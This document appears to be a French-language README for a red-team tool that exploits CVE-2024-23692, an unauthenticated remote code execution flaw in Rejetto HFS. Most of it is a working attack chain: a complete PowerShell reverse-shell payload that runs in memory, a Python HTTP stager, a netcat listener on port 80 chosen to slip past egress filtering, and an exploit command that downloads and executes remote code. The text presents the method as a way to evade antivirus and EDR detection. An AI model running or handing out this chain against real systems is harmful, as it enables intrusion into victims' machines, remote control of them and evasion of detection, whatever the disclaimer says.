
Automatise l'exploitation de CVE-2024-23692 contre les Rejetto HFS non corrigés, avec un reverse shell PowerShell en mémoire, un staging de payload HTTP et un contournement des écritures disque AV/EDR pour les engagements red team autorisés.
Une documentation tactique et un guide d'exploitation pour CVE-2024-23692, une vulnérabilité critique d'exécution de code à distance (RCE) non authentifiée affectant les versions de Rejetto HTTP File Server (HFS) antérieures à 2.3m. Ce guide exploite une technique de Reverse Shell en mémoire (RAM uniquement) pour contourner avec succès les détections antivirus/EDR basées sur les signatures lors de l'écriture sur disque.
Avertissement : Ce dépôt et son contenu sont strictement destinés aux évaluations de sécurité autorisées, aux missions de tests d'intrusion, aux simulations de bug bounty et aux audits forensiques défensifs. Toute utilisation non autorisée contre des environnements tiers est strictement illégale.
Le modèle de vérification automatisée mis en œuvre dans ce workflow de preuve de concept s'appuie sur le dépôt public développé par :
Cette méthode intègre un modèle de déploiement de stager HTTP pour livrer dynamiquement une chaîne de payload textuelle dans l'environnement cible, invoquant une exécution en direct directement depuis la mémoire volatile du système (RAM).
Sur votre serveur C2/attaquant local, créez un fichier texte statique nommé index.html et remplissez-le avec le code de boucle TCP Socket PowerShell suivant :
\$c = New-Object System.Net.Sockets.TCPClient('<LHOST>',80);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){;\$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);\$sb = (iex \$d 2>&1 | Out-String );\$sb2 = \$sb + 'PS ' + (pwd).Path + '> ';\$sbt = ([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);\$s.Flush()};\$c.Close()
Ouvrez une instance de terminal dans le dossier de staging désigné contenant votre fichier de modèle de payload, puis lancez un listener HTTP Python instantané sur un port alternatif (par exemple, 8080) :
python3 -m http.server 8080
Ouvrez une seconde session de terminal indépendante pour héberger le callback de shell persistant entrant. Il est fortement recommandé d'utiliser le port 80 (ou 443) pour contourner facilement les mesures de protection périmétrique sortantes (filtrage de pare-feu en sortie) :
sudo nc -lvnp 80
Lancez le moteur de validation automatisé ciblant votre infrastructure de déploiement. L'appel cible intercepte l'analyse des commandes via un wrapper d'exécution CMD localisé pour maintenir une stabilité optimale des chaînes sans perdre les indicateurs de paramètres :
./CVE-2024-23692.sh http://<TARGET_IP>:<PORT> "cmd /c powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>')\""

Pour éliminer complètement les compromissions et remédier aux environnements opérationnels vulnérables :
Get-Process -Name *hfs* | Stop-Process -Force
Remove-Item -Path "C:\Users\Public\*.exe" -Force -ErrorAction SilentlyContinue